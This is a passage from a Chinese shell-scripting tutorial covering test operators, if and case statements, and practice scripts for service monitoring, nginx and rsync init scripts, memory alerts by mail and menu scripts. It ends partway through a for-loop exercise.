    相等,全拼为equal

    -ne

    !=

    不相等,全拼为not equal

    -gt

    大于,全拼为greater than

    -ge

    >=

    大于等于,全拼为greater equal

    -lt

    小于,全拼为丨ess than

    -le

    <=

    小于等于,全拼为less equal

    判断两数是否相等

    [root@clsn scripts]# [ 1 -eq 1 ]
    [root@clsn scripts]# echo $?
    0
    [root@clsn scripts]# [ 1 -eq 2 ]
    [root@clsn scripts]# echo $?
    1

    大于等于

    [root@clsn ~]# [ 11 -ge 1 ] && echo "成立" || echo "不成立"
    成立

    小于

    [root@clsn ~]# [ 11 -lt 1 ] && echo "成立" || echo "不成立"
    不成立

    大于

    [root@clsn ~]# [ 11 -gt 1 ] && echo "成立" || echo "不成立"
    成立

    不等于

    [root@clsn ~]# [ 11 -ne 1 ] && echo "成立" || echo "不成立"
    成立

    2.1.4 逻辑符号

    常用逻辑操作符 

    在[]和test中使用的操作符

    说明

    在[[]]和中使用的操作符

    说明

    -a

    [ 条件A -a  条件B ]

    A与B都要成立,整个表达式才成立

    &&

    and,与,两端都为真,则结果为真

    -o

    [ 条件A -o  条件B]

    A与B都不成立,整个表达式才不成立

    ||

    or,或,两端有一个为真,则结果为真

     

    !

    not,非,两端相反,则结果为真

    逻辑操作符与整数判断配合

    [root@clsn ~]# [ 11 -ne 1 ] && echo "成立" || echo "不成立"
    成立

     取反

    [root@clsn ~]# [ ! 11 -ne 1 ] && echo "成立" || echo "不成立"
    不成立

    两边都为真

    [root@clsn ~]# [  11 -ne 1 -a 1 -eq 1 ] && echo "成立" || echo "不成立"
    成立

    至少有一边为真

    [root@clsn ~]# [  11 -ne 1 -o 1 -eq 1 ] && echo "成立" || echo "不成立"
    成立

    感叹号的特殊用法

             使用历史命令,感叹号加上history中的序号,即可执行

    [root@clsn ~]#  !516
    ls
    anaconda-ks.cfg  bootime.avg  setup.sh  vim

    2.1.5 【练习题】开发3个shell脚本比较2个整数大小

    要求:

    1. 分别以定义变量,脚本传参以及read读入的方式写3个脚本。

    2. 用条件表达式(禁止if语句)进行判断。

    3. 将2个整数的比较结果输出到屏幕,出错需要提示。

    使用定义变量方法

    [root@clsn panduan1]# cat panduan1.sh
    #!/bin/bash
    #############################################################
    # File Name: panduan1.sh
    # Version: V1.0
    # Author: clsn
    # Organization: http://blog.znix.top
    # Created Time : 2017-12-06 11:27:32
    # Description:
    #############################################################

    NUM1=6
    NUM2=2

    expr 1 + $NUM1  &>/dev/null
    [ $? -eq 2 ] && echo "$NUM1 不是整数 " &&  exit 2
    expr 1 + $NUM2 &>/dev/null
    [ $? -eq 2 ] && echo "$NUM2 不是整数 " &&  exit 2

    [ "$NUM1" -eq "$NUM2" ] && echo $NUM1 = $NUM2  && exit
    [ "$NUM1" -gt "$NUM2" ] && echo $NUM1 \> $NUM2 && exit
    [ "$NUM1" -lt "$NUM2" ] && echo $NUM1 \< $NUM2

    使用传参方法

    [root@clsn panduan1]# cat panduan_chuanchan.sh
    #!/bin/bash
    #############################################################
    # File Name: panduan1.sh
    # Version: V1.0
    # Author: clsn
    # Organization: http://blog.znix.top
    # Created Time : 2017-12-06 11:27:32
    # Description:
    #############################################################
    [ $# -ne 2 ] && echo "UASGE $0 num1 num2 " && exit

    NUM1=$1
    NUM2=$2

    expr 1 + $NUM1  &>/dev/null
    [ $? -eq 2 ] && echo "$NUM1 不是整数 " &&  exit 2
    expr 1 + $NUM2  &>/dev/null
    [ $? -eq 2 ] && echo "$NUM2 不是整数 " &&  exit 2

    [ "$NUM1" -eq "$NUM2" ] && echo $NUM1 = $NUM2  && exit
    [ "$NUM1" -gt "$NUM2" ] && echo $NUM1 \> $NUM2 && exit
    [ "$NUM1" -lt "$NUM2" ] && echo $NUM1 \< $NUM2

    使用read读入

    [root@clsn panduan1]# cat panduan_read.sh
    #!/bin/bash
    #############################################################
    # File Name: panduan1.sh
    # Version: V1.0
    # Author: clsn
    # Organization: http://blog.znix.top
    # Created Time : 2017-12-06 11:27:32
    # Description:
    #############################################################

    read -p "请输入第一个整数:" NUM1
    read -p "请输入第二个整数:" NUM2

    expr 1 + $NUM1  &>/dev/null
    [ $? -eq 2 ] && echo "$NUM1 不是整数 " &&  exit 2
    expr 1 + $NUM2  &>/dev/null
    [ $? -eq 2 ] && echo "$NUM2 不是整数 " &&  exit 2

    [ "$NUM1" -eq "$NUM2" ] && echo "$NUM1 = $NUM2"  && exit
    [ "$NUM1" -gt "$NUM2" ] && echo "$NUM1 > $NUM2" && exit
    echo "$NUM1 < $NUM2"

    2.2 if条件语句

      # 条件表达式和if语句可以互相转换

    2.2.1 三种语法

    单分支语句

    if [ -f /etc/hosts ]

    then

        echo '文件存在'

    fi

    双分支语句

    if [ -f /etc/hosts ] 

    then

       echo "文件存在"

    else

    echo "文件不存在"

       echo "..." >>/tmp/test.log

    fi

    多分支语句

    if [ -f /etc/hosts ] 

    then

       echo " hosts文件存在"

    elif [ -f /etc/host ]

    then

       echo " host文件存在"

    fi

    2.2.2 if条件语句小结

      单分支:一个条件一个结果

      双分支:一个条件两个结果

      多分支:多个条件多个结果

    2.2.3 【练习题1】输入2个数字,比较大小(使用if语句结合条件表达式实现) 

    说明:

    3个脚本:使用直接赋值,传参,read任一种方法写3种脚本(单分支,双分支,多分支)

    示例脚本一:

    read方法 单分支

    1 [root@clsn panduan1]# cat if_panduan_1.sh
    2 #!/bin/bash
    3 #############################################################
    4 # File Name: panduan1.sh
    5 # Version: V1.0
    6 # Author: clsn
    7 # Organization: http://blog.znix.top
    8 # Created Time : 2017-12-06 11:27:32
    9 # Description:
    10 #############################################################
    11
    12 read -p "请输入第一个整数:" NUM1
    13 expr 1 + $NUM1  &>/dev/null
    14     if [ $? -eq 2 ]
    15       then
    16         echo "$NUM1 不是整数 "
    17         exit 2
    18     fi
    19
    20 read -p "请输入第二个整数:" NUM2
    21 expr 1 + $NUM2  &>/dev/null
    22     if [ $? -eq 2 ]
    23       then
    24          echo "$NUM2 不是整数 "
    25          exit 2
    26     fi
    27
    28 # 判断输入数值大小
    29     if [ $NUM1 -eq $NUM2 ]
    30       then
    31         echo "$NUM1 = $NUM2"
    32         exit
    33     fi
    34  
    35     if [ $NUM1 -gt $NUM2 ]
    36       then
    37         echo "$NUM1 > $NUM2"
    38         exit
    39     fi
    40   
    41     if [ $NUM1 -lt $NUM2 ]
    42       then
    43         echo "$NUM1 < $NUM2"
    44     fi

    示例脚本二:

    双分支

    1 [root@clsn panduan1]# cat if_panduan_2.sh
    2 #!/bin/bash
    3 #############################################################
    4 # File Name: if_panduan_2.sh
    5 # Version: V1.0
    6 # Author: clsn
    7 # Organization: http://blog.znix.top
    8 # Created Time : 2017-12-06 11:27:32
    9 # Description:
    10 #############################################################
    11
    12 read -p "请输入第一个整数:" NUM1
    13   expr 1 + $NUM1  &>/dev/null
    14       if [ $? -eq 2 ]
    15         then
    16           echo "$NUM1 不是整数 "
    17           exit 2
    18       fi
    19
    20 read -p "请输入第二个整数:" NUM2
    21   expr 1 + $NUM2  &>/dev/null
    22       if [ $? -eq 2 ]
    23         then
    24            echo "$NUM2 不是整数 "
    25            exit 2
    26       fi
    27
    28 # 判断输入数值大小
    29     if [ $NUM1 -eq $NUM2 ]
    30       then
    31         echo "$NUM1 = $NUM2"
    32         exit
    33     else
    34         if [ $NUM1 -gt $NUM2 ]
    35           then
    36             echo "$NUM1 > $NUM2"
    37             exit
    38         else
    39             if [ $NUM1 -lt $NUM2 ]
    40               then
    41               echo "$NUM1 < $NUM2"
    42             fi
    43         fi
    44     fi

    示例脚本三:

    多分支

    1 [root@clsn panduan1]# cat if_panduan_3.sh
    2 #!/bin/bash
    3 #############################################################
    4 # File Name: if_panduan_3.sh
    5 # Version: V1.0
    6 # Author: clsn
    7 # Organization: http://blog.znix.top
    8 # Created Time : 2017-12-06 11:27:32
    9 # Description:
    10 #############################################################
    11
    12 read -p "请输入第一个整数:" NUM1
    13   expr 1 + $NUM1  &>/dev/null
    14    NUM1_FH=$?  
    15       if [ $NUM1_FH -eq 2 ]
    16         then
    17           echo "$NUM1 不是整数 "
    18           exit 2
    19       else 
    20         read -p "请输入第二个整数:" NUM2
    21         expr 1 + $NUM2  &>/dev/null
    22         NUM2_FH=$?
    23         if [ $NUM2_FH -eq 2 ]
    24          then
    25            echo "$NUM2 不是整数 "
    26            exit 2
    27         fi
    28       fi
    29
    30 # 判断输入数值大小
    31     if [ $NUM1 -eq $NUM2 ]
    32       then
    33         echo "$NUM1 = $NUM2"
    34         exit
    35     elif [ $NUM1 -gt $NUM2 ]
    36       then
    37         echo "$NUM1 > $NUM2"
    38         exit
    39     elif [ $NUM1 -lt $NUM2 ]
    40       then
    41         echo "$NUM1 < $NUM2"
    42     fi

    2.2.4 【练习题2】系统内存低于100M邮件报警,加入计划任务,3分钟检查一次。

    对于开发程序而言,一般来说应该遵循下面的3步法则。

    (1)分析需求

        明白开发需求,是完成程序的大前提,因此,分析需求至关重要,一切不以需求为主的程序开发,都是耍流氓的!

    (2)设计思路

    设计思路就是根据需求,把需求进行拆解,分模块逐步实现,例如本题可以分为如下几步:

    1)获取当前系统剩余内存的值(先在命令行实现)。

    2)配置邮件报警(可采用第三方邮件服务器)。

    3)判断取到的值是否小于100MB,如果小于100MB,就报警(采用if语句)。

    4)编码实现Shell脚本。

    5)加入crond定时任务,每三分钟检查一次。

    (3)编码实现

        编码实现就是具体的编码及调试过程,工作中很可能需要先在测试环境下调试,调试好了,再发布到生产环境中。

    第一步 先配置邮件服务,保证能够发生邮件

    echo 'set from=mail@znix.top smtp=smtp.znix.top smtp-auth-user=mail@znix.top  smtp-auth-password=****** smtp-auth=login' >> /etc/mail.rc

    发送测试邮件发送

    echo "`date +%F_%T`" |mail -s "这是测试邮件" admin@znix.top

     

     

    第二步编写检查脚本

    [root@clsn scripts]# cat mem_info.sh
    #!/bin/bash
    ##############################################################
    # File Name: mem_info.sh
    # Version: V1.0
    # Author: clsn
    # Organization: http://blog.znix.top
    # Created Time : 2017-12-06 8:42:50
    # Description:
    ##############################################################

    Mem=`free -m |awk 'NR==2{print $NF}'`
    host=`hostname`
    Ip=`hostname -I`
    Date=`date +%F_%T`
    mail_file=/tmp/mail.s
    dest_user=admin@znix.top

    if [ $Mem -lt 100 ]
    then
       echo "发生时间: $Date" >$mail_file
       echo "发生主机: $host  主机IP地址: $Ip " >> $mail_file
       echo "内存余量: $Mem M" >> $mail_file
       mail -s "【警告】内存不足了呀!"  $dest_user < $mail_file
    fi

    第三步测试脚本(可以修改判断的值)

    [root@clsn scripts]# sh mem_info.sh

     

     

    第四步 脚本测试成功,写入定时任务

    [root@clsn panduan1]# crontab -l
    # 检查内存剩余大小
    */3 * * * * /bin/sh /server/scripts/panduan/mem_info.sh  &>/dev/null

    至此,一个监控脚本就写好了

    2.2.5 【练习题3】模拟编写启动nginx脚本

    脚本内容

    nginx 启动脚本

    1 [root@clsn scripts]# cat nginx.sh
    2 #!/bin/bash
    3 ##############################################################
    4 # File Name: nginx.sh
    5 # Version: V1.0
    6 # Author: clsn
    7 # Organization: http://blog.znix.top
    8 # Created Time : 2017-12-05 20:56:06
    9 # Description:
    10 ##############################################################
    11 . /etc/init.d/functions 
    12
    13 StartCheck=`netstat -lntup  |grep -c 80`
    14 StartCMD='/application/nginx/sbin/nginx '
    15 StopCMD='/application/nginx/sbin/nginx -s stop '
    16 StatusCheck=`netstat -lntp|grep -c nginx`
    17 ReloadCMD='/application/nginx/sbin/nginx -s reload'
    18 CheckCMD='/application/nginx/sbin/nginx  -t'
    19 UsaGe="Usage: $0 {start|stop|status|reload|check}"
    20
    21
    22 COMMAND=$1
    23
    24 if [  $# -ne 1 ]
    25   then
    26     echo $UsaGe  && exit 2
    27 fi
    28
    29 if [ $COMMAND = start ]
    30  then
    31     if [ $StartCheck  == 1  ]
    32       then
    33       action  "启动Nginx失败,端口被占用"  /bin/false
    34     else
    35       $StartCMD
    36       action  "启动Nginx"  /bin/true
    37     fi
    38 elif [ $COMMAND = stop ]
    39   then
    40       $StopCMD  &>/dev/null
    41       if [ $? -eq 0 ]
    42         then
    43           action   "停止Nginx"   /bin/true
    44       else
    45           action   "停止Nginx"   /bin/false
    46       fi
    47 elif [ $COMMAND = status ]
    48   then
    49     if [ $StatusCheck -eq 1 ]
    50       then
    51         echo "nginx 正在运行..."
    52     else
    53         echo "Nginx 未运行."
    54     fi
    55 elif [ $COMMAND = reload ]
    56   then
    57     $ReloadCMD
    58     action  "reload" /bin/true
    59 elif [ $COMMAND = check ]
    60   then
    61     $CheckCMD
    62 else
    63  echo $UsaGe
    64  exit 2
    65 fi

    脚本执行过程: 

     

    2.2.6 【练习题5】Web及MySQL服务异常监测案例

    用if条件语句实现对Nginx Web服务以及MySQL数据库服务是否正常进行检测,如果服务未启动,则启动相应服务。

    脚本编写思路:

    判断web服务器正常 ↓

      1、进程 ps -ef |grep [n]ginx
      2、端口  netstat  ss losf telnet  nc  nmap
      3、curl 页面 返回值
      4、curl check.html 的内容

    判断mysql服务器正常 ↓

        1、端口 netstat  ss losf telnet  nc  nmap
        2、进程 ps -ef |grep [m]ysql
        3、mysql 登录访问看一下
        4、mysql insert一个数据 select一个数据

    web服务监控脚本示例

    web 监控脚本内容

    1 [root@clsn scripts]# cat  web_check.sh
    2 #!/bin/bash
    3 #############################################################
    4 # File Name: web_check.sh
    5 # Version: V1.0
    6 # Author: clsn
    7 # Organization: http://blog.znix.top
    8 # Created Time : 2017-12-07 10:53:38
    9 # Description:
    10 #############################################################
    11 . /etc/init.d/functions
    12
    13 JinChen=`ps -ef |grep -c  [n]ginx`
    14 QiDong='/server/scripts/nginx.sh start'
    15 StatuS=`curl -I -w "%{http_code}\n" -o /dev/null -s   10.0.0.180`
    16 StatuS2=`curl -s 10.0.0.180/check.html|grep -c ok`
    17 StartNginx='/server/scripts/nginx.sh start'
    18
    19 if [ $JinChen -ge 2  ]
    20   then
    21     if [ "$StatuS" -eq 200 ]
    22       then
    23         if [ "$StatuS2" -eq 1 ]
    24           then
    25             action "Nginx 服务运行正常" /bin/true
    26           else
    27             action "请检查chenk.html文件!" /bin/false
    28         fi
    29     else
    30       action "请检查首页文件!" /bin/false
    31     fi
    32 else
    33     action "Nginx 未正常运行!" /bin/false
    34     $StartNginx   
    35 fi

    脚本执行过程:

     

    2.3 case条件结构语句

    2.3.1 case语法结构

    case "字符串变量" in
      值1)
         指令1
         ;;
      值2)
         指令2
         ;;
      值*)
         指令
    esac

    2.3.2 case与if的对比

    case书写方式

    case $name in
      值1)
          指令1
          ;;
      值2)
          指令2
          ;;
       *)
          指令
    esac

    if书写方式

    if [ $name == "值1" ]
      then
        指令1
    elif [ $name == "值2" ]
      then
        指令2
    else
        指令   
    fi

    2.3.3 case值的书写方式

    apple)

          echo -e "$RED_COLOR apple $RES"

          ;;

    也可以这样写,输入2种格式找同一个选项

    apple|APPLE)

          echo -e "$RED_COLOR apple $RES"

          ;;

    2.3.4 case语句小结

        ? case语句就相当于多分支的if语句。case语句的优势是更规范、易读。

        ? case语句适合变量的值少,且为固定的数字或字符串集合。(1,2,3)或(start,stop,restart)。

          ? 系统服务启动脚本传参的判断多用case语句,多参考rpcbind/nfs/crond脚本;菜单脚本也可以使用case

    2.3.5 【练习题1】使用case编写一个菜单脚本

    脚本内容

    菜单脚本内容

    1 [root@clsn case]# cat menu.sh
    2 #!/bin/bash
    3 #############################################################
    4 # File Name: menu.sh
    5 # Version: V1.0
    6 # Author: clsn
    7 # Organization: http://blog.znix.top
    8 # Created Time : 2017-12-07 14:47:36
    9 # Description:
    10 #############################################################
    11
    12
    13 cat<<EOF
    14 1. install rsync
    15 2. install nfs
    16 3. install mysql
    17 4. install all
    18 EOF
    19
    20 read -p '请输入你的选择:' chs
    21
    22 case $chs in
    23   1)
    24    echo install rsync success
    25    ;;
    26   2)
    27    echo install nfs success
    28    ;;
    29   3)
    30    echo install mysql success
    31    ;;
    32   4)
    33    echo install rsync/nfs/mysql success
    34    ;;
    35   *)
    36    echo "你输入有误"
    37 esac

     

    脚本执行过程:

     

    2.3.6 【练习题2】输出带有颜色的水果菜单

    脚本内容:

    水果菜单脚本

    1 [root@clsn scripts]# cat fruits.sh
    2 #!/bin/bash
    3 #############################################################
    4 # File Name: fruits.sh
    5 # Version: V1.0
    6 # Author: clsn
    7 # Organization: http://blog.znix.top
    8 # Created Time : 2017-12-06 21:23:31
    9 # Description:
    10 #############################################################
    11 cat <<EOF
    12 =======================
    13 1.apple
    14 2.pear
    15 3.banana
    16 4.exit
    17 =======================
    18 EOF
    19 read -t 10 -p  "你要看什么水果:" Menu_Num
    20
    21 case "$Menu_Num" in
    22   1)
    23    echo -e "\033[31m apple \033[0m"
    24    ;;
    25   2)
    26    echo -e "\033[32m pear \033[0m"
    27    ;;
    28   3)
    29    echo -e "\033[33m banana \033[0m"
    30    ;;
    31   4)
    32    exit
    33 esac

     

    脚本执行过程:

     

    2.3.7 写脚本规范及注意事项

      1.变量名称不能和系统已经存在的命令等重复  free  == > Free

      2. 判断单位要统一

      3. 脚本一行不超过一屏的一半。

      4. 能写成变量的内容尽量写成变量

    2.4 练习题

    2.4.1 【练习题1】监控Memcached缓存服务是否正常

      监控Memcached缓存服务是否正常,模拟用户(web客户端)检测。

      使用nc命令加上set/get来模拟检测。

        memecached安装:http://www.cnblogs.com/clsn/p/7999510.html

    脚本内容:

    监控 memcached脚本

    1 [root@clsn scripts]# vim  memcache_check.sh
    2 #!/bin/bash
    3 #############################################################
    4 # File Name: memcache_check.sh
    5 # Version: V1.0
    6 # Author: clsn
    7 # Organization: http://blog.znix.top
    8 # Created Time : 2017-12-07 15:50:03
    9 # Description:
    10 #############################################################
    11 . /etc/init.d/functions
    12 . /etc/init.d/run  # 函数 jingdutiao 使用
    13 MemPort=`netstat -lntp  |grep -c  0.0.0.0:11211`
    14 Set_Key='printf "set clsn2017 0 10 8\r\nclsn2018\r\n"|nc 10.0.0.180 11211'
    15 Get_Key='printf "get clsn2017\r\n" |nc 10.0.0.180 11211 |grep -c clsn2018'
    16 ReStart='systemctl restart memcached.service'
    17
    18 if [ $MemPort -eq 1 ]
    19   then
    20     $Set_Key
    21     $Get_Key
    22     if [ $? -ne 1 ]
    23       then
    24       action "Memcached 运行正常!" /bin/true
    25     else
    26       action "Memcached 服务异常!"  /bin/false
    27     fi
    28 else
    29     action "服务未启动!" /bin/false
    30     $ReStart
    31     jingdutiao
    32 fi

    脚本执行过程

     

    2.4.2 【练习题2】使用(case)编写rsync管理脚本

    写网络服务独立进程模式下Rsync的系统启动脚本,例如:/etc/init.d/rsyncd {start|stop|restart}。

    要求:

      1.要使用系统函数库技巧。

      2.要用函数,不能一坨?的方式。

      3.在centos 6中 可被chkconfig管理。

    注意:

      服务的停止操作和启动操作之间要有间隔时间,使用sleep 1                   

    pkill 进程

    sleep 1

    start 服务

    rsync服务启动脚本

    1 [root@clsn scripts]# cat rsyncd
    2 #!/bin/bash
    3 #############################################################
    4 # File Name: rsync_admin.sh
    5 # Version: V1.0
    6 # Author: clsn
    7 # Organization: http://blog.znix.top
    8 # Created Time : 2017-12-07 18:39:37
    9 # Description:
    10 #############################################################
    11
    12 . /etc/init.d/functions
    13 . /etc/init.d/run
    14
    15 Rsync_Port=`netstat -lntup |grep -c  0.0.0.0:873`
    16 Rsync_COM1='rsync --daemon'
    17 Rsync_COM2='pkill rsync'
    18
    19 Rsync_Start() {
    20    Rsync_Port1=`netstat -lntup |grep -c  0.0.0.0:873`
    21    if [ $Rsync_Port1 -ne 0 ]
    22      then
    23       action  "服务已启动" /bin/false
    24       exit 3
    25    else
    26       $Rsync_COM1
    27       #action  "Rsync 启动" /bin/true
    28       QiDong
    29    fi
    30 }
    31
    32 Rsync_Stop() {
    33    Rsync_Port2=`netstat -lntup |grep -c  0.0.0.0:873`
    34    if [ $Rsync_Port2 -eq 0 ]
    35      then
    36        action  "服务未启动" /bin/false
    37        exit 3
    38    else
    39        $Rsync_COM2
    40        #action  "Rsync 停止" /bin/true
    41        TingZhi
    42    fi
    43 }
    44
    45 Rsync_Status() {
    46    if [ $Rsync_Port -eq 1 ]
    47      then
    48        echo  "Rsync 服务运行中..."
    49    else
    50        echo  "Rsync 服务未运行"
    51    fi
    52 }
    53
    54 Rsync_Restart() {
    55    Rsync_Stop
    56    Rsync_Start
    57 }
    58 COMMAND=$1
    59
    60 case "$COMMAND" in
    61   start)
    62     Rsync_Start
    63     ;;
    64   stop)
    65     Rsync_Stop
    66     ;;
    67   status)
    68     Rsync_Status
    69     ;;
    70   restart|reload|force-reload)
    71     Rsync_Restart
    72     ;;
    73   *)
    74     echo $"Usage: $0 {start|stop|status|restart|reload|force-reload}"
    75     exit 2
    76 esac

    View Code rsync 服务管理脚本

    脚本执行过程

     

    2.4.3 【练习题3】菜单自动化软件部署脚本实践

    综合实例:打印选择菜单,按照选择一键安装不同的Web服务。

    示例菜单:

    [root@oldboy scripts]# sh menu.sh

        1.[install lamp]

        2.[install lnmp]

        3.[exit]

        pls input the num you want:

    要求:

      1、当用户输入1时,输出“start installing lamp.提示”然后执行/server/scripts/lamp.sh,脚本内容输出"lampis installed"后退出脚本,工作中就是正式lamp一键安装脚本;

    echo 'echo lampis installed' > /server/scripts/lamp.sh
    chmod +x /server/scripts/lamp.sh

      2、当用户输入2时,输出“start installing lnmp.提示” 然后执行/server/scripts/lnmp.sh输出"lnmpis installed"后退出脚本,工作中就是正式lnmp一键安装脚本;

    echo 'echo lnmpis installed' > /server/scripts/lnmp.sh
    chmod +x /server/scripts/lnmp.sh

      3、当输入3时,退出当前菜单及脚本;  

      4、当输入任何其它字符,给出提示“Input error”后退出脚本;

      5、要对执行的脚本进行相关的条件判断,例如:脚本文件是否存在,是否可执行等判断。

    脚本 内容

    自动化软件部署脚本

    1 [root@clsn scripts]# cat menu.sh
    2 #!/bin/bash
    3 #############################################################
    4 # File Name: menu.sh
    5 # Version: V1.0
    6 # Author: clsn
    7 # Organization: http://blog.znix.top
    8 # Created Time : 2017-12-07 19:29:30
    9 # Description:
    10 #############################################################
    11
    12 cat <<EOF
    13 1.[install lamp]
    14 2.[install lnmp]
    15 3.[exit]
    16 EOF
    17
    18 read -p "please input the num you want:" Num
    19
    20 case "$Num" in
    21   1)
    22     if [ -f /server/scripts/lamp.sh ]
    23       then
    24          echo -e "\033[36mstart installing lamp\033[0m"
    25          /server/scripts/lamp.sh
    26     else
    27       echo -e "\033[5;41;37m /server/scripts/lamp.sh 文件不存在 \033[0m"
    28     fi
    29     ;;
    30   2)
    31     if [ -f /server/scripts/lnmp.sh ]
    32       then
    33          echo -e "\033[36mstart installing lnmp\033[0m"
    34         /server/scripts/lnmp.sh
    35     else
    36       echo -e "\033[5;41;37m /server/scripts/lnmp.sh 文件不存在 \033[0m"
    37     fi
    38     ;;
    39   3)
    40     exit
    41     ;;
    42   *)
    43     echo -e "\033[31mInput error \033[0m"
    44     exit 2
    45 esac

     

    执行过程

     

    2.4.4 if 与 case 对比

      if 语句类似黑名单,需要把这种错误场景封堵

      case 语句类似白名单,只要把正确结果列完整即可

    2.5 其他补充说明

    2.5.1 linux中产生随机数的方法

    [root@clsn scripts]# echo $RANDOM
    29291
    [root@clsn scripts]# echo $RANDOM
    5560
    [root@clsn scripts]# echo $RANDOM
    2904

    2.5.2 echo 命令输出带颜色字符

    # 彩色字体

    echo -e "\033[30m 黑色字 clsn \033[0m"
    echo -e "\033[31m 红色字 clsn \033[0m"
    echo -e "\033[32m 绿色字 clsn \033[0m"
    echo -e "\033[33m 黄色字 clsn \033[0m"
    echo -e "\033[34m 蓝色字 clsn \033[0m"
    echo -e "\033[35m 紫色字 clsn \033[0m"
    echo -e "\033[36m 天蓝字 clsn \033[0m"
    echo -e "\033[37m 白色字 clsn \033[0m"

    效果示意图

     

    # 彩色底纹

    echo -e "\033[40;37m 黑底白字 clsn \033[0m"
    echo -e "\033[41;37m 红底白字 clsn \033[0m"
    echo -e "\033[42;37m 绿底白字 clsn \033[0m"
    echo -e "\033[43;37m 黄底白字 clsn \033[0m"
    echo -e "\033[44;37m 蓝底白字 clsn \033[0m"
    echo -e "\033[45;37m 紫底白字 clsn \033[0m"
    echo -e "\033[46;37m 天蓝白字 clsn \033[0m

    效果示意图

     

    # 特效字体

    \033[0m 关闭所有属性
    \033[1m 设置高亮度
    \033[4m 下划线
    \033[5m 闪烁
    \033[7m 反显
    \033[8m 消隐
    \033[30m — \033[37m 设置前景色
    \033[40m — \033[47m 设置背景色
    \033[nA 光标上移 n 行
    \033[nB 光标下移 n 行
    \033[nC 光标右移 n 行
    \033[nD 光标左移 n 行
    \033[y;xH 设置光标位置
    \033[2J 清屏
    \033[K 清除从光标到行尾的内容
    \033[s 保存光标位置
    \033[u 恢复光标位置
    \033[?25l 隐藏光标
    \033[?25h 显示光标

    部分效果示意图 

    2.5.3 显示文本中的隐藏字符

    使用cat命令查看文本中的隐藏字符

    [root@clsn ~]# cat --help
    用法:cat [选项]... [文件]...
    将[文件]或标准输入组合输出到标准输出。

      -A, --show-all           等于-vET
      -b, --number-nonblank    对非空输出行编号
      -e                       等于-vE
      -E, --show-ends          在每行结束处显示"$"
      -n, --number             对输出的所有行编号
      -s, --squeeze-blank      不输出多行空行
      -t                       与-vT 等价
      -T, --show-tabs          将跳格字符显示为^I
      -u                       (被忽略)
      -v, --show-nonprinting   使用^ 和M- 引用,除了LFD和 TAB 之外

    使用cat -A查看隐藏的字符

    [root@clsn ~]# cat -A /etc/hosts
    127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4$
    ::1         localhost localhost.localdomain localhost6 localhost6.localdomain6$
    10.0.0.1 mirrors.aliyuncs.com mirrors.aliyun.com$
    10.0.0.180 clsn$

    关于隐藏字符常见错误

    在windows中编写的脚本换行使用的是 \r\n

             但是在linux中使用\n 进行换行

    [root@clsn ~]# cat -A windowe.sh
    n1=2^M$
    n2=1^M$
    ^M$
    [ $n1 -gt $n2 ] && echo "$n1 > $n2" && exit^M$
    [ $n1 -eq $n2 ] && echo "$n1 = $n2" && exit^M$
    echo "$n1 < $n2"^M$

    使用dos2unix 把windows上的脚本转化linux格式

    [root@clsn ~]# dos2unix windowe.sh
    dos2unix: converting file windowe.sh to Unix format ...

    转换后,脚本的内容隐藏内容改变。

    [root@clsn ~]# cat -A windowe.sh
    n1=2$
    n2=1$
    $
    [ $n1 -gt $n2 ] && echo "$n1 > $n2" && exit$
    [ $n1 -eq $n2 ] && echo "$n1 = $n2" && exit$
    echo "$n1 < $n2"$

    2.5.4 排错技巧

    sh -x  脚本.sh

    -x 开启脚本调试模式

    cat -A  文件.txt

    -A  查看文件的隐藏字符

    2.5.5 shell 脚本段注释方法

    方法一:

    <<EOF
      内容
    EOF

    方法二:

    一行注释方法 → : '内容'
    段注释方法 ↓
    :'
    http://blog.znix.top
    '

    :命令的说明

    [root@clsn scripts]# help :
    :: :
        空的命令。
       
        没有效果; 此命令不做任何操作。
       
        退出状态:
        总是成功。

    :命令的应用场景

    if 条件
      then
        :
    else
        命令
    fi

    2.5.6 其他补充

      类进度条效果

    yum install -y pv
    echo {1..20}|pv -qL 15

      clear 命令

    清屏 == ctrl + l

    Shell编程进阶篇(完结) 

    3.1 for循环语句

         在计算机科学中,for循环(英语:for loop)是一种编程语言的迭代陈述,能够让程式码反复的执行。

         它跟其他的循环,如while循环,最大的不同,是它拥有一个循环计数器,或是循环变数。这使得for循环能够知道在迭代过程中的执行顺序。

    1.1.1 shell中的for循环

             shell中的for 循环与在c中不同,它包含三种形式:第一种结构是列表for 循环;第二种结构就是不带列表的for循环;第三种就类似于C语言。

    ①   列表for循环(常用)

    #!/bin/bash

    for i in 取值列表

    do

        循环主体/命令

    done

     

    ②   不带列表for循环(示例)

    #!/bin/absh

    echo "惨绿少年的博客是:" 

    for i

         do  

         echo "$i"

    done

       脚本执行结果

    [root@clsn for]# sh  for2.sh http://blog.znix.top

    惨绿少年的博客是:

    http://blog.znix.top

     

     

    ③   类似C语言的风格(这种用法常在C语语言中使用)

    for((exp1;exp2;exp3))
        do
          指令...
    done  

             编写类似C语言风格脚本

    for((i=0;i<=3;i++))
        do
          echo $i
    done 

             脚本执行过程

     

    3.1.2 不同语言的For循环

    Shell中的两种样式

    # 样式一:
    for i in 1 2 3
      do
        echo $i
    done
    # 样式二:
    for i in 1 2 3;do  echo $i;done

      JAVA

    for(int i = 0; i < 5; i++){
        //循环语句;
    }

      PHP

    for ($i = 0; $i < 5; $i++) {
      # statements;
    }

    For i = 1 To 5
    ===PASCAL===
    for not i=1 do
    begin
       i=0;
       writeln('Go on!');
    end.
      
      '循环语句
    Next i

      swift

    var x = 0
    for i in 1...100{
        x += i
    }
    print(x)

    //5050
    for _ in 1...100{
        x += 1
    }
    print(x)
    // 100

    var box = [1,2,3,4,5]
    for i in box{
        print(i)
    }
    /*
    1
    2
    3
    4
    5
    */
    ---

    3.2 for循环相关练习题

    3.2.1 【练习题1】批量生成随机字符文件名案例

    使用for循环在/clsn目录下批量创建10个html文件,其中每个文件需要包含10个随机小写字母加固定字符串clsn,名称示例如下:

    [root@znix C19]# ls /clsn
    apquvdpqbk_clsn.html  mpyogpsmwj_clsn.html  txynzwofgg_clsn.html  
    bmqiwhfpgv_clsn.html  udrzobsprf_clsn.html  vjxmlflawa_clsn.html 
    jhjdcjnjxc_clsn.html  qeztkkmewn_clsn.html jpvirsnjld_clsn.html 
    ruscyxwxai_clsn.html

    脚本内容

    批量生成随机字符文件名

    1 [root@clsn for]# cat make_file.sh
    2 #!/bin/bash
    3 #############################################################
    4 # File Name: make_file.sh
    5 # Version: V1.0
    6 # Author: clsn
    7 # Organization: http://blog.znix.top
    8 # Created Time : 2017-12-08 11:01:19
    9 # Description:
    10 #############################################################
    11
